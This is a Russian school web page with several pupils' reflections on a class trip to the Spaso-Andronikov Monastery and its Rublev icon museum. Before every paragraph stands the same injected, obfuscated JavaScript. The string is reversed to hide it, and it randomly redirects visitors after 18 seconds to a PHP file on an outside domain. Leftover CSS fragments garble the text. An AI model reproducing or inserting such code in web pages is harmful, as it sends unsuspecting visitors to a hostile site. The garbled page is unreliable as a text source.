Экскурсия в Спасо-Андроников монастырь

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: .0001pt;»>Все это не могло не впечатлить нас, ведь совсем недавно, читая и обсуждая на уроках «Слово о полку Игореве…», мы с нашими восьмиклассниками «погрузились с головой» в историю Древней Руси и старательно пытались представить себе мир человека этой непростой эпохи, его нравы и обычаи, а главное – духовные, нравственные ценности, которые должны были отразиться в первую очередь в произведениях искусства.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: .0001pt;»>Изучая произведения древнерусской литературы, нельзя не задаться вопросом: «Что думали и чувствовали люди, создававшие эти песни, предания и сказки?» Именно для того, чтобы найти ответ, мы отправились в одно из немногих мест, которые возвращают в далёкую эпоху наших предков, в Спасо–Андроников монастырь. Мои ожидания от этой поездки были неоднозначными. С одной стороны, хотелось увидеть картинную галерею, экспозицию из искусно выписанных старинных икон. С другой же стороны, я ждала продолжения разговора о «Слове о Полку Игореве», прочитанном нами в начале года, обобщения понимания сущности древнерусского человека.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: .0001pt;»>В целом мои ожидания оправдались. Я была поражена величием нашего, русского культурного наследия. Иконы Андрея Рублёва и Симона Ушакова словно наполнены воздухом и пронизаны святостью, кажутся нам окном в иной мир. Безусловно, знакомство с изобразительным искусством той эпохи повлияло на моё представление о наших предшественниках. Это богатые духовно и ценящие истинную красоту люди, чьё творчество не может оставить равнодушным даже искушённого в живописи современного человека.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: .0001pt;»>Даже неграмотному человеку понятен смысл этих светлых образов, близких всем. Но ведь и картины нашли отражение в сказаниях. К примеру, в Слове о Полку Игореве не раз появляются голубой, золотой, бордовый цвета – неотъемлемые составляющие православной иконы. Такой ракурс позволяет понять, что экскурсия в Андроников монастырь явилась продолжением нашего обсуждения культуры Древней Руси, выраженной в литературном творчестве, стала последним штрихом в формировании понимания образа древнерусского человека.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: .0001pt;»>Недавно наш класс посетил Андроников монастырь, на территории которого расположен музей Андрея Рублева. Собираясь на эту экскурсию, я размышлял о том, что же нового добавит она в мои представления об искусстве Древней Руси. Андрей Рублев знаком многим как известный русский иконописец. В древности было не принято изображать на картинах обычных людей и сцены из бытовой жизни. Икона-вот что воплощало духовный мир человека того времени. Поэтому в музее я ожидал увидеть множество ярких, украшенных золотом икон с ликами святых. Сам монастырь казался мне мрачным и нелюдимым местом за высокой стеной.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: .0001pt;»>Как и предполагалось, войдя в зал музея, я сразу увидел множество икон, однако они не были яркими и роскошными. Напротив, мне представились мрачные картины, украшенные лишь очень малым количеством золотой краски. В музее были представлены произведения в византийском стиле и работы самого Андрея Рублева. У византийских икон святые были изображены очень мрачно, в черно-коричневых тонах. Можно было заметить явно выделяющиеся, резкие переходы от одного оттенка к другому. Иконы же Андрея Рублева очень запомнились, потому что лица выглядели намного реалистичней. Переход цвета на картинах был плавным и выразительным, однако темно-коричневые оттенки также брали вверх над другими.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: .0001pt;»>Все иконы, которые я видела в музее, были выписаны очень искусно, Нельзя не подчеркнуть исключительное мастерство иконописцев тех времён. Охра и коричневые тона – самые используемые цвета в иконописи, но это далеко не значит, что не могут использоваться синий, зелёный, бордовый и т.д. Меня поразило, что детали иконы, на которой изображены святые, значимы! Например, сложенные особенным образом пальцы указывают на первые буквы имени Иисус Христос.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: .0001pt;»>Но, больше всего в экскурсии меня заинтересовало создание иконы – длинный порядок действий, который совершался каждый раз, дабы икона получилась по-настоящему живой и запоминающейся. Оказалось, что на икону наносилась краска со специальной эмульсией, которую делали из пива и яичных желтков, а для писания документов подкладывались специальные дощечки, которые разлиновывали лист. Икона могла быть сделана не только с помощью красок – нас познакомили со стилем плетения икон. Такой работой могли заниматься только женщины, и у них на это уходило более полутора лет.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: .0001pt;»>Войдя в здание музея, мы увидели различные иконы, повествующие о жизни святых, и с головой окунулись в манящую атмосферу старины. Будто бы перенося всех во времени, узкие и запутанные коридорчики и лесенки открывали перед нами все новые и новые секреты… Истории создания церковных книг, чернил, обложек и фресок заставляли всплывать перед глазами различные образы прежних обитателей этих мест: юных дев, вышивающих золотой нитью воздУх, молодых послушников, читающих Библию…

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: .0001pt;»>Эта экскурсия превзошла все мои ожидания, ведь она была одной из самых интересных и «атмосферных» поездок за последние несколько лет! Вы только представьте себе белоснежные стены монастыря, сверкающий пушистый снег под ногами, неспешно спускающиеся с вечернего неподвижного неба крупные невесомые хлопья и рыже-черного кота, который, поеживаясь, мирно дремлет на ступеньках при входе в музей.